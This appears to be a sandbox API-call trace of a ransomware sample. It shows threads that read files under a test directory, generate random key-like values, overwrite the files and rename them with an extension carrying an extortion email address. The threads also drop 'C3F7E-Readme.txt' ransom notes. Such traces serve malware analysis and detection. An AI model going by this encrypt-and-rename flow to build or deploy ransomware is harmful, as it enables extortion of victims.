	[0075.691] wcscat (in: _Dest=0x47339a0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1036\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1036\\C3F7E-Readme.txt"
	[0075.691] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1036\\c3f7e-readme.txt")) returned 0xffffffff
	[0075.691] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1036\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x984
	[0075.692] WriteFile (in: hFile=0x984, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0x9b8fbf8, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0x9b8fbf8*=0x6f6, lpOverlapped=0x0) returned 1
	[0075.693] CloseHandle (hObject=0x984) returned 1
	[0075.694] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47339a0) returned 1
	[0075.694] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730600) returned 1

Thread:
	id = 187
	os_tid = 0x1008

	[0075.652] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 0x80
	[0075.652] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml", dwFileAttributes=0x20) returned 1
	[0075.655] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x994
	[0075.655] GetFileSizeEx (in: hFile=0x994, lpFileSize=0x9c0f9c8 | out: lpFileSize=0x9c0f9c8*=82962) returned 1
	[0075.655] SetFilePointerEx (in: hFile=0x994, liDistanceToMove=0x1440e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.655] ReadFile (in: hFile=0x994, lpBuffer=0x9c0f94c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9c0f948, lpOverlapped=0x0 | out: lpBuffer=0x9c0f94c*, lpNumberOfBytesRead=0x9c0f948*=0x4, lpOverlapped=0x0) returned 1
	[0075.658] SetFilePointerEx (in: hFile=0x994, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.658] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0075.658] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781710
	[0075.658] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781648
	[0075.658] NtQuerySystemTime (in: CurrentTime=0x9c0f928 | out: CurrentTime=0x9c0f928*=132251868023878267) returned 0x0
	[0075.658] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0x552d95e
	[0075.658] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0x830aaa20
	[0075.658] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0x7498e4c1
	[0075.658] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0xe3a9ac7
	[0075.658] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0xcebbaf35
	[0075.658] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0xbf25e573
	[0075.658] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0x67773833
	[0075.658] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0xe185b5b4
	[0075.658] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0x462a240b
	[0075.658] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0x2a49584f
	[0075.658] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0x528abcc5
	[0075.658] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0x8110b2ad
	[0075.658] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0x64f1db7a
	[0075.658] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0xadae2af8
	[0075.658] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0x810d609
	[0075.658] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0xfc9ebefa
	[0075.658] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0x849d947e
	[0075.658] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0x1b486518
	[0075.658] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0x55b0d625
	[0075.658] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0x16c1926f
	[0075.658] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0x1efb5ed9
	[0075.658] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0xef897181
	[0075.658] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0x90fe250e
	[0075.658] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0x404f866d
	[0075.658] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0x89845ccb
	[0075.658] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0x77117ad6
	[0075.659] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0x675be90c
	[0075.659] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0x9da7789d
	[0075.659] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0x1b02aee3
	[0075.659] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0x9c86907d
	[0075.659] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0x38008693
	[0075.659] RtlRandom (in: Seed=0x9c0f934 | out: Seed=0x9c0f934) returned 0xefd81a5
	[0075.667] SetFilePointerEx (in: hFile=0x994, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.667] ReadFile (in: hFile=0x994, lpBuffer=0x48b0868, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x9c0f908, lpOverlapped=0x0 | out: lpBuffer=0x48b0868*, lpNumberOfBytesRead=0x9c0f908*=0xc800, lpOverlapped=0x0) returned 1
	[0075.686] SetFilePointerEx (in: hFile=0x994, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.686] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d738e8
	[0075.686] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04bd0
	[0075.686] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0075.686] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0075.687] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48bd070
	[0075.687] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781738
	[0075.687] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0075.687] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0075.687] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04bd0) returned 1
	[0075.687] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738e8) returned 1
	[0075.687] WriteFile (in: hFile=0x994, lpBuffer=0x48bd070*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x9c0f908, lpOverlapped=0x0 | out: lpBuffer=0x48bd070*, lpNumberOfBytesWritten=0x9c0f908*=0xc800, lpOverlapped=0x0) returned 1
	[0078.408] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48bd070) returned 1
	[0078.417] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48b0868) returned 1
	[0078.420] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x47bb190
	[0078.420] SetFilePointerEx (in: hFile=0x994, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.420] WriteFile (in: hFile=0x994, lpBuffer=0x47cf6a0*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x9c0f988, lpOverlapped=0x0 | out: lpBuffer=0x47cf6a0*, lpNumberOfBytesWritten=0x9c0f988*=0x113, lpOverlapped=0x0) returned 1
	[0084.527] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cf6a0) returned 1
	[0084.527] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb1c8) returned 1
	[0084.527] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34640) returned 1
	[0084.527] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb190) returned 1
	[0084.527] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781738) returned 1
	[0084.527] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781710) returned 1
	[0084.527] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781698) returned 1
	[0084.527] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781418) returned 1
	[0084.527] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x4987628
	[0084.527] wcscpy (in: _Dest=0x4987628, _Source="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml"
	[0084.527] wcscat (in: _Dest=0x4987628, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.527] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x9c0f940, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.527] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4769c68
	[0084.527] NtSetInformationFile (FileHandle=0x994, IoStatusBlock=0x9c0f938, FileInformation=0x4769c68, Length=0xb6, FileInformationClass=0xa) returned 0x0
	[0084.528] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4769c68) returned 1
	[0084.528] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5dcf8) returned 1
	[0084.528] NtQueryInformationFile (in: FileHandle=0x994, IoStatusBlock=0x9c0f94c, FileInformation=0x9c0f924, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x9c0f94c, FileInformation=0x9c0f924) returned 0x0
	[0084.528] NtSetInformationFile (FileHandle=0x994, IoStatusBlock=0x9c0f94c, FileInformation=0x9c0f924, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0084.529] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4987628) returned 1
	[0084.529] FlushFileBuffers (hFile=0x994) returned 1
	[0084.530] CloseHandle (hObject=0x994) returned 1
	[0084.534] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4780ec8
	[0084.534] wcscpy (in: _Dest=0x4780ec8, _Source="C:\\588bce7c90097ed212\\1036\\" | out: _Dest="C:\\588bce7c90097ed212\\1036\\") returned="C:\\588bce7c90097ed212\\1036\\"
	[0084.534] wcscat (in: _Dest=0x4780ec8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1036\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1036\\C3F7E-Readme.txt"
	[0084.534] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1036\\c3f7e-readme.txt")) returned 0x20
	[0084.534] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780ec8) returned 1
	[0084.534] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7a2a8) returned 1

Thread:
	id = 188
	os_tid = 0x12d4

	[0075.695] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 0x80
	[0075.695] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf", dwFileAttributes=0x20) returned 1
	[0075.696] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x984
	[0075.696] GetFileSizeEx (in: hFile=0x984, lpFileSize=0x9c8f83c | out: lpFileSize=0x9c8f83c*=6851) returned 1
	[0075.696] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x1abf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.696] ReadFile (in: hFile=0x984, lpBuffer=0x9c8f7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9c8f7bc, lpOverlapped=0x0 | out: lpBuffer=0x9c8f7c0*, lpNumberOfBytesRead=0x9c8f7bc*=0x4, lpOverlapped=0x0) returned 1
	[0075.697] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.697] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0075.697] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781760
	[0075.697] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781648
	[0075.697] NtQuerySystemTime (in: CurrentTime=0x9c8f79c | out: CurrentTime=0x9c8f79c*=132251868024346309) returned 0x0
	[0075.697] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0xcf68f54d
	[0075.697] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0x3ed87d75
	[0075.697] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0xf033269
	[0075.697] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0x238f58cd
	[0075.697] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0x67efce47
	[0075.698] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0xe298cff0
	[0075.698] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0x29271ee9
	[0075.698] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0xa5614fe3
	[0075.698] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0x962528af
	[0075.698] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0x8da46735
	[0075.698] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0x176ce0a2
	[0075.698] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0xc987afb4
	[0075.698] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0xf9ccad5c
	[0075.698] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0x2466a550
	[0075.698] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0x7f50d4b
	[0075.698] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0xeb5b1751
	[0075.698] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0xcfdaaa0f
	[0075.698] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0x54ff4cff
	[0075.698] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0x9f1bfe01
	[0075.698] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0x3448ccb8
	[0075.698] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0x183a22da
	[0075.698] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0x5a48819a
	[0075.698] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0xbfd4ca43
	[0075.698] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0x738f7c35
	[0075.698] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0x5fe2cb09
	[0075.698] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0x86ee20cc
	[0075.698] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0x74e00b74
	[0075.698] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0x9c2bfdf5
	[0075.698] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0x7ed639f5
	[0075.698] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0x5891dffb
	[0075.698] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0x9018b59b
	[0075.698] RtlRandom (in: Seed=0x9c8f7a8 | out: Seed=0x9c8f7a8) returned 0xb0012bda
	[0075.708] ReadFile (in: hFile=0x984, lpBuffer=0x48c9878, nNumberOfBytesToRead=0x1ac3, lpNumberOfBytesRead=0x9c8f798, lpOverlapped=0x0 | out: lpBuffer=0x48c9878*, lpNumberOfBytesRead=0x9c8f798*=0x1ac3, lpOverlapped=0x0) returned 1
	[0075.709] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.709] WriteFile (in: hFile=0x984, lpBuffer=0x48d6080*, nNumberOfBytesToWrite=0x1ac3, lpNumberOfBytesWritten=0x9c8f794, lpOverlapped=0x0 | out: lpBuffer=0x48d6080*, lpNumberOfBytesWritten=0x9c8f794*=0x1ac3, lpOverlapped=0x0) returned 1
	[0075.715] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0075.715] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781828
	[0075.715] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781828) returned 1
	[0075.715] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48d6080) returned 1
	[0075.715] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48c9878) returned 1
	[0075.715] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04bd0) returned 1
	[0075.715] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738e8) returned 1
	[0075.715] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x4781828
	[0075.715] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.715] WriteFile (in: hFile=0x984, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x9c8f7fc, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x9c8f7fc*=0x101, lpOverlapped=0x0) returned 1
	[0075.716] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0075.716] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781648) returned 1
	[0075.716] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781558) returned 1
	[0075.716] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781828) returned 1
	[0075.716] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0075.716] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781760) returned 1
	[0075.716] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816e8) returned 1
	[0075.716] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0075.716] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78848
	[0075.716] wcscpy (in: _Dest=0x2d78848, _Source="C:\\588bce7c90097ed212\\1037\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned="C:\\588bce7c90097ed212\\1037\\eula.rtf"
	[0075.717] wcscat (in: _Dest=0x2d78848, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1037\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1037\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0075.717] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1037\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x9c8f7b4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1037\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0075.717] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d61b00
	[0075.720] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61b00) returned 1
	[0075.720] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2b258) returned 1
	[0075.720] NtQueryInformationFile (in: FileHandle=0x984, IoStatusBlock=0x9c8f7c0, FileInformation=0x9c8f798, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x9c8f7c0, FileInformation=0x9c8f798) returned 0x0
	[0075.720] NtSetInformationFile (FileHandle=0x984, IoStatusBlock=0x9c8f7c0, FileInformation=0x9c8f798, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0075.721] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78848) returned 1
	[0075.721] FlushFileBuffers (hFile=0x984) returned 1
	[0075.723] CloseHandle (hObject=0x984) returned 1
	[0075.723] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47339a0
	[0075.723] wcscpy (in: _Dest=0x47339a0, _Source="C:\\588bce7c90097ed212\\1037\\" | out: _Dest="C:\\588bce7c90097ed212\\1037\\") returned="C:\\588bce7c90097ed212\\1037\\"
	[0075.723] wcscat (in: _Dest=0x47339a0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1037\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1037\\C3F7E-Readme.txt"
	[0075.723] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1037\\c3f7e-readme.txt")) returned 0xffffffff
	[0075.723] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1037\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x984
	[0075.724] WriteFile (in: hFile=0x984, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0x9c8f7bc, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0x9c8f7bc*=0x6f6, lpOverlapped=0x0) returned 1
	[0075.725] CloseHandle (hObject=0x984) returned 1
	[0075.725] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47339a0) returned 1
	[0075.725] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730650) returned 1

Thread:
	id = 189
	os_tid = 0x12d0

	[0075.713] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 0x80
	[0075.718] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml", dwFileAttributes=0x20) returned 1
	[0075.722] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x998
	[0075.722] GetFileSizeEx (in: hFile=0x998, lpFileSize=0x9d0fb28 | out: lpFileSize=0x9d0fb28*=72076) returned 1
	[0075.722] SetFilePointerEx (in: hFile=0x998, liDistanceToMove=0x11988, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.726] ReadFile (in: hFile=0x998, lpBuffer=0x9d0faac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9d0faa8, lpOverlapped=0x0 | out: lpBuffer=0x9d0faac*, lpNumberOfBytesRead=0x9d0faa8*=0x4, lpOverlapped=0x0) returned 1
	[0075.727] SetFilePointerEx (in: hFile=0x998, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.727] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0075.727] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781760
	[0075.727] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781648
	[0075.727] NtQuerySystemTime (in: CurrentTime=0x9d0fa88 | out: CurrentTime=0x9d0fa88*=132251868024658855) returned 0x0
	[0075.727] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0x3ed31d09
	[0075.727] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0xf659c9a9
	[0075.727] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0x5c6f1f40
	[0075.727] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0x5a578187
	[0075.728] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0xa408f499
	[0075.728] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0x7c570550
	[0075.728] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0xab39aa00
	[0075.728] RtlRandom (in: Seed=0x9d0fa94 | out: Seed=0x9d0fa94) returned 0x2156cb70
